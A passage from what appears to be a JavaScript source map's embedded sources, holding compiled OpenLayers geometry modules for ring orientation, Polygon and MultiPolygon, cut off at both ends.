- stride + i];\n flatCoordinates[end - stride + i] = tmp;\n }\n offset += stride;\n end -= stride;\n }\n}\n//# sourceMappingURL=reverse.js.map","/**\n * @module ol/geom/flat/orient\n */\nimport { coordinates as reverseCoordinates } from './reverse.js';\n/**\n * Is the linear ring oriented clockwise in a coordinate system with a bottom-left\n * coordinate origin? For a coordinate system with a top-left coordinate origin,\n * the ring's orientation is clockwise when this function returns false.\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {number} end End.\n * @param {number} stride Stride.\n * @return {boolean} Is clockwise.\n */\nexport function linearRingIsClockwise(flatCoordinates, offset, end, stride) {\n // https://stackoverflow.com/q/1165647/clockwise-method#1165943\n // https://github.com/OSGeo/gdal/blob/master/gdal/ogr/ogrlinearring.cpp\n var edge = 0;\n var x1 = flatCoordinates[end - stride];\n var y1 = flatCoordinates[end - stride + 1];\n for (; offset < end; offset += stride) {\n var x2 = flatCoordinates[offset];\n var y2 = flatCoordinates[offset + 1];\n edge += (x2 - x1) * (y2 + y1);\n x1 = x2;\n y1 = y2;\n }\n return edge === 0 ? undefined : edge > 0;\n}\n/**\n * Determines if linear rings are oriented. By default, left-hand orientation\n * is tested (first ring must be clockwise, remaining rings counter-clockwise).\n * To test for right-hand orientation, use the `opt_right` argument.\n *\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {Array<number>} ends Array of end indexes.\n * @param {number} stride Stride.\n * @param {boolean} [opt_right] Test for right-hand orientation\n * (counter-clockwise exterior ring and clockwise interior rings).\n * @return {boolean} Rings are correctly oriented.\n */\nexport function linearRingsAreOriented(flatCoordinates, offset, ends, stride, opt_right) {\n var right = opt_right !== undefined ? opt_right : false;\n for (var i = 0, ii = ends.length; i < ii; ++i) {\n var end = ends[i];\n var isClockwise = linearRingIsClockwise(flatCoordinates, offset, end, stride);\n if (i === 0) {\n if ((right && isClockwise) || (!right && !isClockwise)) {\n return false;\n }\n }\n else {\n if ((right && !isClockwise) || (!right && isClockwise)) {\n return false;\n }\n }\n offset = end;\n }\n return true;\n}\n/**\n * Determines if linear rings are oriented. By default, left-hand orientation\n * is tested (first ring must be clockwise, remaining rings counter-clockwise).\n * To test for right-hand orientation, use the `opt_right` argument.\n *\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {Array<Array<number>>} endss Array of array of end indexes.\n * @param {number} stride Stride.\n * @param {boolean} [opt_right] Test for right-hand orientation\n * (counter-clockwise exterior ring and clockwise interior rings).\n * @return {boolean} Rings are correctly oriented.\n */\nexport function linearRingssAreOriented(flatCoordinates, offset, endss, stride, opt_right) {\n for (var i = 0, ii = endss.length; i < ii; ++i) {\n var ends = endss[i];\n if (!linearRingsAreOriented(flatCoordinates, offset, ends, stride, opt_right)) {\n return false;\n }\n if (ends.length) {\n offset = ends[ends.length - 1];\n }\n }\n return true;\n}\n/**\n * Orient coordinates in a flat array of linear rings. By default, rings\n * are oriented following the left-hand rule (clockwise for exterior and\n * counter-clockwise for interior rings). To orient according to the\n * right-hand rule, use the `opt_right` argument.\n *\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {Array<number>} ends Ends.\n * @param {number} stride Stride.\n * @param {boolean} [opt_right] Follow the right-hand rule for orientation.\n * @return {number} End.\n */\nexport function orientLinearRings(flatCoordinates, offset, ends, stride, opt_right) {\n var right = opt_right !== undefined ? opt_right : false;\n for (var i = 0, ii = ends.length; i < ii; ++i) {\n var end = ends[i];\n var isClockwise = linearRingIsClockwise(flatCoordinates, offset, end, stride);\n var reverse = i === 0\n ? (right && isClockwise) || (!right && !isClockwise)\n : (right && !isClockwise) || (!right && isClockwise);\n if (reverse) {\n reverseCoordinates(flatCoordinates, offset, end, stride);\n }\n offset = end;\n }\n return offset;\n}\n/**\n * Orient coordinates in a flat array of linear rings. By default, rings\n * are oriented following the left-hand rule (clockwise for exterior and\n * counter-clockwise for interior rings). To orient according to the\n * right-hand rule, use the `opt_right` argument.\n *\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {Array<Array<number>>} endss Array of array of end indexes.\n * @param {number} stride Stride.\n * @param {boolean} [opt_right] Follow the right-hand rule for orientation.\n * @return {number} End.\n */\nexport function orientLinearRingsArray(flatCoordinates, offset, endss, stride, opt_right) {\n for (var i = 0, ii = endss.length; i < ii; ++i) {\n offset = orientLinearRings(flatCoordinates, offset, endss[i], stride, opt_right);\n }\n return offset;\n}\n/**\n * Return a two-dimensional endss\n * @param {Array<number>} flatCoordinates Flat coordinates\n * @param {Array<number>} ends Linear ring end indexes\n * @return {Array<Array<number>>} Two dimensional endss array that can\n * be used to contruct a MultiPolygon\n */\nexport function inflateEnds(flatCoordinates, ends) {\n var endss = [];\n var offset = 0;\n var prevEndIndex = 0;\n for (var i = 0, ii = ends.length; i < ii; ++i) {\n var end = ends[i];\n // classifies an array of rings into polygons with outer rings and holes\n if (!linearRingIsClockwise(flatCoordinates, offset, end, 2)) {\n endss.push(ends.slice(prevEndIndex, i + 1));\n }\n else {\n if (endss.length === 0) {\n continue;\n }\n endss[endss.length - 1].push(ends[prevEndIndex]);\n }\n prevEndIndex = i + 1;\n offset = end;\n }\n return endss;\n}\n//# sourceMappingURL=orient.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/geom/Polygon\n */\nimport GeometryLayout from './GeometryLayout.js';\nimport LinearRing from './LinearRing.js';\nimport Point from './Point.js';\nimport SimpleGeometry from './SimpleGeometry.js';\nimport { arrayMaxSquaredDelta, assignClosestArrayPoint } from './flat/closest.js';\nimport { closestSquaredDistanceXY, getCenter } from '../extent.js';\nimport { deflateCoordinatesArray } from './flat/deflate.js';\nimport { extend } from '../array.js';\nimport { getInteriorPointOfArray } from './flat/interiorpoint.js';\nimport { inflateCoordinatesArray } from './flat/inflate.js';\nimport { intersectsLinearRingArray } from './flat/intersectsextent.js';\nimport { linearRingsAreOriented, orientLinearRings } from './flat/orient.js';\nimport { linearRings as linearRingsArea } from './flat/area.js';\nimport { linearRingsContainsXY } from './flat/contains.js';\nimport { modulo } from '../math.js';\nimport { quantizeArray } from './flat/simplify.js';\nimport { offset as sphereOffset } from '../sphere.js';\n/**\n * @classdesc\n * Polygon geometry.\n *\n * @api\n */\nvar Polygon = /** @class */ (function (_super) {\n __extends(Polygon, _super);\n /**\n * @param {!Array<Array<import(\"../coordinate.js\").Coordinate>>|!Array<number>} coordinates\n * Array of linear rings that define the polygon. The first linear ring of the\n * array defines the outer-boundary or surface of the polygon. Each subsequent\n * linear ring defines a hole in the surface of the polygon. A linear ring is\n * an array of vertices' coordinates where the first coordinate and the last are\n * equivalent. (For internal use, flat coordinates in combination with\n * `opt_layout` and `opt_ends` are also accepted.)\n * @param {import(\"./GeometryLayout.js\").default} [opt_layout] Layout.\n * @param {Array<number>} [opt_ends] Ends (for internal use with flat coordinates).\n */\n function Polygon(coordinates, opt_layout, opt_ends) {\n var _this = _super.call(this) || this;\n /**\n * @type {Array<number>}\n * @private\n */\n _this.ends_ = [];\n /**\n * @private\n * @type {number}\n */\n _this.flatInteriorPointRevision_ = -1;\n /**\n * @private\n * @type {import(\"../coordinate.js\").Coordinate}\n */\n _this.flatInteriorPoint_ = null;\n /**\n * @private\n * @type {number}\n */\n _this.maxDelta_ = -1;\n /**\n * @private\n * @type {number}\n */\n _this.maxDeltaRevision_ = -1;\n /**\n * @private\n * @type {number}\n */\n _this.orientedRevision_ = -1;\n /**\n * @private\n * @type {Array<number>}\n */\n _this.orientedFlatCoordinates_ = null;\n if (opt_layout !== undefined && opt_ends) {\n _this.setFlatCoordinates(opt_layout, \n /** @type {Array<number>} */ (coordinates));\n _this.ends_ = opt_ends;\n }\n else {\n _this.setCoordinates(\n /** @type {Array<Array<import(\"../coordinate.js\").Coordinate>>} */ (coordinates), opt_layout);\n }\n return _this;\n }\n /**\n * Append the passed linear ring to this polygon.\n * @param {LinearRing} linearRing Linear ring.\n * @api\n */\n Polygon.prototype.appendLinearRing = function (linearRing) {\n if (!this.flatCoordinates) {\n this.flatCoordinates = linearRing.getFlatCoordinates().slice();\n }\n else {\n extend(this.flatCoordinates, linearRing.getFlatCoordinates());\n }\n this.ends_.push(this.flatCoordinates.length);\n this.changed();\n };\n /**\n * Make a complete copy of the geometry.\n * @return {!Polygon} Clone.\n * @api\n */\n Polygon.prototype.clone = function () {\n var polygon = new Polygon(this.flatCoordinates.slice(), this.layout, this.ends_.slice());\n polygon.applyProperties(this);\n return polygon;\n };\n /**\n * @param {number} x X.\n * @param {number} y Y.\n * @param {import(\"../coordinate.js\").Coordinate} closestPoint Closest point.\n * @param {number} minSquaredDistance Minimum squared distance.\n * @return {number} Minimum squared distance.\n */\n Polygon.prototype.closestPointXY = function (x, y, closestPoint, minSquaredDistance) {\n if (minSquaredDistance < closestSquaredDistanceXY(this.getExtent(), x, y)) {\n return minSquaredDistance;\n }\n if (this.maxDeltaRevision_ != this.getRevision()) {\n this.maxDelta_ = Math.sqrt(arrayMaxSquaredDelta(this.flatCoordinates, 0, this.ends_, this.stride, 0));\n this.maxDeltaRevision_ = this.getRevision();\n }\n return assignClosestArrayPoint(this.flatCoordinates, 0, this.ends_, this.stride, this.maxDelta_, true, x, y, closestPoint, minSquaredDistance);\n };\n /**\n * @param {number} x X.\n * @param {number} y Y.\n * @return {boolean} Contains (x, y).\n */\n Polygon.prototype.containsXY = function (x, y) {\n return linearRingsContainsXY(this.getOrientedFlatCoordinates(), 0, this.ends_, this.stride, x, y);\n };\n /**\n * Return the area of the polygon on projected plane.\n * @return {number} Area (on projected plane).\n * @api\n */\n Polygon.prototype.getArea = function () {\n return linearRingsArea(this.getOrientedFlatCoordinates(), 0, this.ends_, this.stride);\n };\n /**\n * Get the coordinate array for this geometry. This array has the structure\n * of a GeoJSON coordinate array for polygons.\n *\n * @param {boolean} [opt_right] Orient coordinates according to the right-hand\n * rule (counter-clockwise for exterior and clockwise for interior rings).\n * If `false`, coordinates will be oriented according to the left-hand rule\n * (clockwise for exterior and counter-clockwise for interior rings).\n * By default, coordinate orientation will depend on how the geometry was\n * constructed.\n * @return {Array<Array<import(\"../coordinate.js\").Coordinate>>} Coordinates.\n * @api\n */\n Polygon.prototype.getCoordinates = function (opt_right) {\n var flatCoordinates;\n if (opt_right !== undefined) {\n flatCoordinates = this.getOrientedFlatCoordinates().slice();\n orientLinearRings(flatCoordinates, 0, this.ends_, this.stride, opt_right);\n }\n else {\n flatCoordinates = this.flatCoordinates;\n }\n return inflateCoordinatesArray(flatCoordinates, 0, this.ends_, this.stride);\n };\n /**\n * @return {Array<number>} Ends.\n */\n Polygon.prototype.getEnds = function () {\n return this.ends_;\n };\n /**\n * @return {Array<number>} Interior point.\n */\n Polygon.prototype.getFlatInteriorPoint = function () {\n if (this.flatInteriorPointRevision_ != this.getRevision()) {\n var flatCenter = getCenter(this.getExtent());\n this.flatInteriorPoint_ = getInteriorPointOfArray(this.getOrientedFlatCoordinates(), 0, this.ends_, this.stride, flatCenter, 0);\n this.flatInteriorPointRevision_ = this.getRevision();\n }\n return this.flatInteriorPoint_;\n };\n /**\n * Return an interior point of the polygon.\n * @return {Point} Interior point as XYM coordinate, where M is the\n * length of the horizontal intersection that the point belongs to.\n * @api\n */\n Polygon.prototype.getInteriorPoint = function () {\n return new Point(this.getFlatInteriorPoint(), GeometryLayout.XYM);\n };\n /**\n * Return the number of rings of the polygon, this includes the exterior\n * ring and any interior rings.\n *\n * @return {number} Number of rings.\n * @api\n */\n Polygon.prototype.getLinearRingCount = function () {\n return this.ends_.length;\n };\n /**\n * Return the Nth linear ring of the polygon geometry. Return `null` if the\n * given index is out of range.\n * The exterior linear ring is available at index `0` and the interior rings\n * at index `1` and beyond.\n *\n * @param {number} index Index.\n * @return {LinearRing|null} Linear ring.\n * @api\n */\n Polygon.prototype.getLinearRing = function (index) {\n if (index < 0 || this.ends_.length <= index) {\n return null;\n }\n return new LinearRing(this.flatCoordinates.slice(index === 0 ? 0 : this.ends_[index - 1], this.ends_[index]), this.layout);\n };\n /**\n * Return the linear rings of the polygon.\n * @return {Array<LinearRing>} Linear rings.\n * @api\n */\n Polygon.prototype.getLinearRings = function () {\n var layout = this.layout;\n var flatCoordinates = this.flatCoordinates;\n var ends = this.ends_;\n var linearRings = [];\n var offset = 0;\n for (var i = 0, ii = ends.length; i < ii; ++i) {\n var end = ends[i];\n var linearRing = new LinearRing(flatCoordinates.slice(offset, end), layout);\n linearRings.push(linearRing);\n offset = end;\n }\n return linearRings;\n };\n /**\n * @return {Array<number>} Oriented flat coordinates.\n */\n Polygon.prototype.getOrientedFlatCoordinates = function () {\n if (this.orientedRevision_ != this.getRevision()) {\n var flatCoordinates = this.flatCoordinates;\n if (linearRingsAreOriented(flatCoordinates, 0, this.ends_, this.stride)) {\n this.orientedFlatCoordinates_ = flatCoordinates;\n }\n else {\n this.orientedFlatCoordinates_ = flatCoordinates.slice();\n this.orientedFlatCoordinates_.length = orientLinearRings(this.orientedFlatCoordinates_, 0, this.ends_, this.stride);\n }\n this.orientedRevision_ = this.getRevision();\n }\n return this.orientedFlatCoordinates_;\n };\n /**\n * @param {number} squaredTolerance Squared tolerance.\n * @return {Polygon} Simplified Polygon.\n * @protected\n */\n Polygon.prototype.getSimplifiedGeometryInternal = function (squaredTolerance) {\n var simplifiedFlatCoordinates = [];\n var simplifiedEnds = [];\n simplifiedFlatCoordinates.length = quantizeArray(this.flatCoordinates, 0, this.ends_, this.stride, Math.sqrt(squaredTolerance), simplifiedFlatCoordinates, 0, simplifiedEnds);\n return new Polygon(simplifiedFlatCoordinates, GeometryLayout.XY, simplifiedEnds);\n };\n /**\n * Get the type of this geometry.\n * @return {import(\"./Geometry.js\").Type} Geometry type.\n * @api\n */\n Polygon.prototype.getType = function () {\n return 'Polygon';\n };\n /**\n * Test if the geometry and the passed extent intersect.\n * @param {import(\"../extent.js\").Extent} extent Extent.\n * @return {boolean} `true` if the geometry and the extent intersect.\n * @api\n */\n Polygon.prototype.intersectsExtent = function (extent) {\n return intersectsLinearRingArray(this.getOrientedFlatCoordinates(), 0, this.ends_, this.stride, extent);\n };\n /**\n * Set the coordinates of the polygon.\n * @param {!Array<Array<import(\"../coordinate.js\").Coordinate>>} coordinates Coordinates.\n * @param {import(\"./GeometryLayout.js\").default} [opt_layout] Layout.\n * @api\n */\n Polygon.prototype.setCoordinates = function (coordinates, opt_layout) {\n this.setLayout(opt_layout, coordinates, 2);\n if (!this.flatCoordinates) {\n this.flatCoordinates = [];\n }\n var ends = deflateCoordinatesArray(this.flatCoordinates, 0, coordinates, this.stride, this.ends_);\n this.flatCoordinates.length = ends.length === 0 ? 0 : ends[ends.length - 1];\n this.changed();\n };\n return Polygon;\n}(SimpleGeometry));\nexport default Polygon;\n/**\n * Create an approximation of a circle on the surface of a sphere.\n * @param {import(\"../coordinate.js\").Coordinate} center Center (`[lon, lat]` in degrees).\n * @param {number} radius The great-circle distance from the center to\n * the polygon vertices in meters.\n * @param {number} [opt_n] Optional number of vertices for the resulting\n * polygon. Default is `32`.\n * @param {number} [opt_sphereRadius] Optional radius for the sphere (defaults to\n * the Earth's mean radius using the WGS84 ellipsoid).\n * @return {Polygon} The \"circular\" polygon.\n * @api\n */\nexport function circular(center, radius, opt_n, opt_sphereRadius) {\n var n = opt_n ? opt_n : 32;\n /** @type {Array<number>} */\n var flatCoordinates = [];\n for (var i = 0; i < n; ++i) {\n extend(flatCoordinates, sphereOffset(center, radius, (2 * Math.PI * i) / n, opt_sphereRadius));\n }\n flatCoordinates.push(flatCoordinates[0], flatCoordinates[1]);\n return new Polygon(flatCoordinates, GeometryLayout.XY, [\n flatCoordinates.length,\n ]);\n}\n/**\n * Create a polygon from an extent. The layout used is `XY`.\n * @param {import(\"../extent.js\").Extent} extent The extent.\n * @return {Polygon} The polygon.\n * @api\n */\nexport function fromExtent(extent) {\n var minX = extent[0];\n var minY = extent[1];\n var maxX = extent[2];\n var maxY = extent[3];\n var flatCoordinates = [\n minX,\n minY,\n minX,\n maxY,\n maxX,\n maxY,\n maxX,\n minY,\n minX,\n minY,\n ];\n return new Polygon(flatCoordinates, GeometryLayout.XY, [\n flatCoordinates.length,\n ]);\n}\n/**\n * Create a regular polygon from a circle.\n * @param {import(\"./Circle.js\").default} circle Circle geometry.\n * @param {number} [opt_sides] Number of sides of the polygon. Default is 32.\n * @param {number} [opt_angle] Start angle for the first vertex of the polygon in\n * counter-clockwise radians. 0 means East. Default is 0.\n * @return {Polygon} Polygon geometry.\n * @api\n */\nexport function fromCircle(circle, opt_sides, opt_angle) {\n var sides = opt_sides ? opt_sides : 32;\n var stride = circle.getStride();\n var layout = circle.getLayout();\n var center = circle.getCenter();\n var arrayLength = stride * (sides + 1);\n var flatCoordinates = new Array(arrayLength);\n for (var i = 0; i < arrayLength; i += stride) {\n flatCoordinates[i] = 0;\n flatCoordinates[i + 1] = 0;\n for (var j = 2; j < stride; j++) {\n flatCoordinates[i + j] = center[j];\n }\n }\n var ends = [flatCoordinates.length];\n var polygon = new Polygon(flatCoordinates, layout, ends);\n makeRegular(polygon, center, circle.getRadius(), opt_angle);\n return polygon;\n}\n/**\n * Modify the coordinates of a polygon to make it a regular polygon.\n * @param {Polygon} polygon Polygon geometry.\n * @param {import(\"../coordinate.js\").Coordinate} center Center of the regular polygon.\n * @param {number} radius Radius of the regular polygon.\n * @param {number} [opt_angle] Start angle for the first vertex of the polygon in\n * counter-clockwise radians. 0 means East. Default is 0.\n */\nexport function makeRegular(polygon, center, radius, opt_angle) {\n var flatCoordinates = polygon.getFlatCoordinates();\n var stride = polygon.getStride();\n var sides = flatCoordinates.length / stride - 1;\n var startAngle = opt_angle ? opt_angle : 0;\n for (var i = 0; i <= sides; ++i) {\n var offset = i * stride;\n var angle = startAngle + (modulo(i, sides) * 2 * Math.PI) / sides;\n flatCoordinates[offset] = center[0] + radius * Math.cos(angle);\n flatCoordinates[offset + 1] = center[1] + radius * Math.sin(angle);\n }\n polygon.changed();\n}\n//# sourceMappingURL=Polygon.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/geom/MultiPolygon\n */\nimport GeometryLayout from './GeometryLayout.js';\nimport MultiPoint from './MultiPoint.js';\nimport Polygon from './Polygon.js';\nimport SimpleGeometry from './SimpleGeometry.js';\nimport { assignClosestMultiArrayPoint, multiArrayMaxSquaredDelta, } from './flat/closest.js';\nimport { closestSquaredDistanceXY } from '../extent.js';\nimport { deflateMultiCoordinatesArray } from './flat/deflate.js';\nimport { extend } from '../array.js';\nimport { getInteriorPointsOfMultiArray } from './flat/interiorpoint.js';\nimport { inflateMultiCoordinatesArray } from './flat/inflate.js';\nimport { intersectsLinearRingMultiArray } from './flat/intersectsextent.js';\nimport { linearRingssAreOriented, orientLinearRingsArray, } from './flat/orient.js';\nimport { linearRingss as linearRingssArea } from './flat/area.js';\nimport { linearRingss as linearRingssCenter } from './flat/center.js';\nimport { linearRingssContainsXY } from './flat/contains.js';\nimport { quantizeMultiArray } from './flat/simplify.js';\n/**\n * @classdesc\n * Multi-polygon geometry.\n *\n * @api\n */\nvar MultiPolygon = /** @class */ (function (_super) {\n __extends(MultiPolygon, _super);\n /**\n * @param {Array<Array<Array<import(\"../coordinate.js\").Coordinate>>|Polygon>|Array<number>} coordinates Coordinates.\n * For internal use, flat coordinates in combination with `opt_layout` and `opt_endss` are also accepted.\n * @param {import(\"./GeometryLayout.js\").default} [opt_layout] Layout.\n * @param {Array<Array<number>>} [opt_endss] Array of ends for internal use with flat coordinates.\n */\n function MultiPolygon(coordinates, opt_layout, opt_endss) {\n var _this = _super.call(this) || this;\n /**\n * @type {Array<Array<number>>}\n * @private\n */\n _this.endss_ = [];\n /**\n * @private\n * @type {number}\n */\n _this.flatInteriorPointsRevision_ = -1;\n /**\n * @private\n * @type {Array<number>}\n */\n _this.flatInteriorPoints_ = null;\n /**\n * @private\n * @type {number}\n */\n _this.maxDelta_ = -1;\n /**\n * @private\n * @type {number}\n */\n _this.maxDeltaRevision_ = -1;\n /**\n * @private\n * @type {number}\n */\n _this.orientedRevision_ = -1;\n /**\n * @private\n * @type {Array<number>}\n */\n _this.orientedFlatCoordinates_ = null;\n if (!opt_endss && !Array.isArray(coordinates[0])) {\n var layout = _this.getLayout();\n var polygons = /** @type {Array<Polygon>} */ (coordinates);\n var flatCoordinates = [];\n var endss = [];\n for (var i = 0, ii = polygons.length; i < ii; ++i) {\n var polygon = polygons[i];\n if (i === 0) {\n layout = polygon.getLayout();\n }\n var offset = flatCoordinates.length;\n var ends = polygon.getEnds();\n for (var j = 0, jj = ends.length; j < jj; ++j) {\n ends[j] += offset;\n }\n extend(flatCoordinates, polygon.getFlatCoordinates());\n endss.push(ends);\n }\n opt_layout = layout;\n coordinates = flatCoordinates;\n opt_endss = endss;\n }\n if (opt_layout !== undefined && opt_endss) {\n _this.setFlatCoordinates(opt_layout, \n /** @type {Array<number>} */ (coordinates));\n _this.endss_ = opt_endss;\n }\n else {\n _this.setCoordinates(\n /** @type {Array<Array<Array<import(\"../coordinate.js\").Coordinate>>>} */ (coordinates), opt_layout);\n }\n return _this;\n }\n /**\n * Append the passed polygon to this multipolygon.\n * @param {Polygon} polygon Polygon.\n * @api\n */\n MultiPolygon.prototype.appendPolygon = function (polygon) {\n /** @type {Array<number>} */\n var ends;\n if (!this.flatCoordinates) {\n this.flatCoordinates = polygon.getFlatCoordinates().slice();\n ends = polygon.getEnds().slice();\n this.endss_.push();\n }\n else {\n var offset = this.flatCoordinates.length;\n extend(this.flatCoordinates, polygon.getFlatCoordinates());\n ends = polygon.getEnds().slice();\n for (var i = 0, ii = ends.length; i < ii; ++i) {\n ends[i] += offset;\n }\n }\n this.endss_.push(ends);\n this.changed();\n };\n /**\n * Make a complete copy of the geometry.\n * @return {!MultiPolygon} Clone.\n * @api\n */\n MultiPolygon.prototype.clone = function () {\n var len = this.endss_.length;\n var newEndss = new Array(len);\n for (var i = 0; i < len; ++i) {\n newEndss[i] = this.endss_[i].slice();\n }\n var multiPolygon = new MultiPolygon(this.flatCoordinates.slice(), this.layout, newEndss);\n multiPolygon.applyProperties(this);\n return multiPolygon;\n };\n /**\n * @param {number} x X.\n * @param {number} y Y.\n * @param {import(\"../coordinate.js\").Coordinate} closestPoint Closest point.\n * @param {number} minSquaredDistance Minimum squared distance.\n * @return {number} Minimum squared distance.\n */\n MultiPolygon.prototype.closestPointXY = function (x, y, closestPoint, minSquaredDistance) {\n if (minSquaredDistance < closestSquaredDistanceXY(this.getExtent(), x, y)) {\n return minSquaredDistance;\n }\n if (this.maxDeltaRevision_ != this.getRevision()) {\n this.maxDelta_ = Math.sqrt(multiArrayMaxSquaredDelta(this.flatCoordinates, 0, this.endss_, this.stride, 0));\n this.maxDeltaRevision_ = this.getRevision();\n }\n return assignClosestMultiArrayPoint(this.getOrientedFlatCoordinates(), 0, this.endss_, this.stride, this.maxDelta_, true, x, y, closestPoint, minSquaredDistance);\n };\n /**\n * @param {number} x X.\n * @param {number} y Y.\n * @return {boolean} Contains (x, y).\n */\n MultiPolygon.prototype.containsXY = function (x, y) {\n return linearRingssContainsXY(this.getOrientedFlatCoordinates(), 0, this.endss_, this.stride, x, y);\n };\n /**\n * Return the area of the multipolygon on projected plane.\n * @return {number} Area (on projected plane).\n * @api\n */\n MultiPolygon.prototype.getArea = function () {\n return linearRingssArea(this.getOrientedFlatCoordinates(), 0, this.endss_, this.stride);\n };\n /**\n * Get the coordinate array for this geometry. This array has the structure\n * of a GeoJSON coordinate array for multi-polygons.\n *\n * @param {boolean} [opt_right] Orient coordinates according to the right-hand\n * rule (counter-clockwise for exterior and clockwise for interior rings).\n * If `false`, coordinates will be oriented according to the left-hand rule\n * (clockwise for exterior and counter-clockwise for interior rings).\n * By default, coordinate orientation will depend on how the geometry was\n * constructed.\n * @return {Array<Array<Array<import(\"../coordinate.js\").Coordinate>>>} Coordinates.\n * @api\n */\n MultiPolygon.prototype.getCoordinates = function (opt_right) {\n var flatCoordinates;\n if (opt_right !== undefined) {\n flatCoordinates = this.getOrientedFlatCoordinates().slice();\n orientLinearRingsArray(flatCoordinates, 0, this.endss_, this.stride, opt_right);\n }\n else {\n flatCoordinates = this.flatCoordinates;\n }\n return inflateMultiCoordinatesArray(flatCoordinates, 0, this.endss_, this.stride);\n };\n /**\n * @return {Array<Array<number>>} Endss.\n */\n MultiPolygon.prototype.getEndss = function () {\n return this.endss_;\n };\n /**\n * @return {Array<number>} Flat interior points.\n */\n MultiPolygon.prototype.getFlatInteriorPoints = function () {\n if (this.flatInteriorPointsRevision_ != this.getRevision()) {\n var flatCenters = linearRingssCenter(this.flatCoordinates, 0, this.endss_, this.stride);\n this.flatInteriorPoints_ = getInteriorPointsOfMultiArray(this.getOrientedFlatCoordinates(), 0, this.endss_, this.stride, flatCenters);\n this.flatInteriorPointsRevision_ = this.getRevision();\n }\n return this.flatInteriorPoints_;\n };\n /**\n * Return the interior points as {@link module:ol/geom/MultiPoint~MultiPoint multipoint}.\n * @return {MultiPoint} Interior points as XYM coordinates, where M is\n * the length of the horizontal intersection that the point belongs to.\n * @api\n */\n MultiPolygon.prototype.getInteriorPoints = function () {\n return new MultiPoint(this.getFlatInteriorPoints().slice(), GeometryLayout.XYM);\n };\n /**\n * @return {Array<number>} Oriented flat coordinates.\n */\n MultiPolygon.prototype.getOrientedFlatCoordinates = function () {\n if (this.orientedRevision_ != this.getRevision()) {\n var flatCoordinates = this.flatCoordinates;\n if (linearRingssAreOriented(flatCoordinates, 0, this.endss_, this.stride)) {\n this.orientedFlatCoordinates_ = flatCoordinates;\n }\n else {\n this.orientedFlatCoordinates_ = flatCoordinates.slice();\n this.orientedFlatCoordinates_.length = orientLinearRingsArray(this.orientedFlatCoordinates_, 0, this.endss_, this.stride);\n }\n this.orientedRevision_ = this.getRevision();\n }\n return this.orientedFlatCoordinates_;\n };\n /**\n * @param {number} squaredTolerance Squared tolerance.\n * @return {MultiPolygon} Simplified MultiPolygon.\n * @protected\n */\n MultiPolygon.prototype.getSimplifiedGeometryInternal = function (squaredTolerance) {\n var simplifiedFlatCoordinates = [];\n var simplifiedEndss = [];\n simplifiedFlatCoordinates.length = quantizeMultiArray(this.flatCoordinates, 0, this.endss_, this.stride, Math.sqrt(squaredTolerance), simplifiedFlatCoordinates, 0, simplifiedEndss);\n return new MultiPolygon(simplifiedFlatCoordinates, GeometryLayout.XY, simplifiedEndss);\n };\n /**\n * Return the polygon at the specified index.\n * @param {number} index Index.\n * @return {Polygon} Polygon.\n * @api\n */\n MultiPolygon.prototype.getPolygon = function (index) {\n if (index < 0 || this.endss_.length <= index) {\n return null;\n }\n var offset;\n if (index === 0) {\n offset = 0;\n }\n else {\n var prevEnds = this.endss_[index - 1];\n offset = prevEnds[prevEnds.length - 1];\n }\n var ends = this.endss_[index].slice();\n var end = ends[ends.length - 1];\n if (offset !== 0) {\n for (var i = 0, ii = ends.length; i < ii; ++i) {\n ends[i] -= offset;\n }\n }\n return new Polygon(this.flatCoordinates.slice(offset, end), this.layout, ends);\n };\n /**\n * Return the polygons of this multipolygon.\n * @return {Array<Polygon>} Polygons.\n * @api\n */\n MultiPolygon.prototype.getPolygons = function () {\n var layout = this.layout;\n var flatCoordinates = this.flatCoordinates;\n var endss = this.endss_;\n var polygons = [];\n var offset = 0;\n for (var i = 0, ii = endss.length; i < ii; ++i) {\n var ends = endss[i].slice();\n var end = ends[ends.length - 1];\n if (offset !== 0) {\n for (var j = 0, jj = ends.length; j < jj; ++j) {\n ends[j] -= offset;\n }\n }\n var polygon = new Polygon(flatCoordinates.slice(offset, end), layout, ends);\n polygons.push(polygon);\n offset = end;\n }\n return polygons;\n };\n /**\n * Get the type of this geometry.\n * @return {import(\"./Geometry.js\").Type} Geometry type.\n * @api\n */\n MultiPolygon.prototype.getType = function () {\n return 'MultiPolygon';\n };\n /**\n * Test if the geometry and the passed extent intersect.\n * @param {import(\"../extent.js\").Extent} extent Extent.\n * @return {boolean} `true` if the geometry and the extent intersect.\n * @api\n */\n MultiPolygon.prototype.intersectsExtent = function (extent) {\n return intersectsLinearRingMultiArray(this.getOrientedFlatCoordinates(), 0, this.endss_, this.stride, extent);\n };\n /**\n * Set the coordinates of the multipolygon.\n * @param {!Array<Array<Array<import(\"../coordinate.js\").Coordinate>>>} coordinates Coordinates.\n * @param {import(\"./GeometryLayout.js\").default} [opt_layout] Layout.\n * @api\n */\n MultiPolygon.prototype.setCoordinates = function (coordinates, opt_layout) {\n 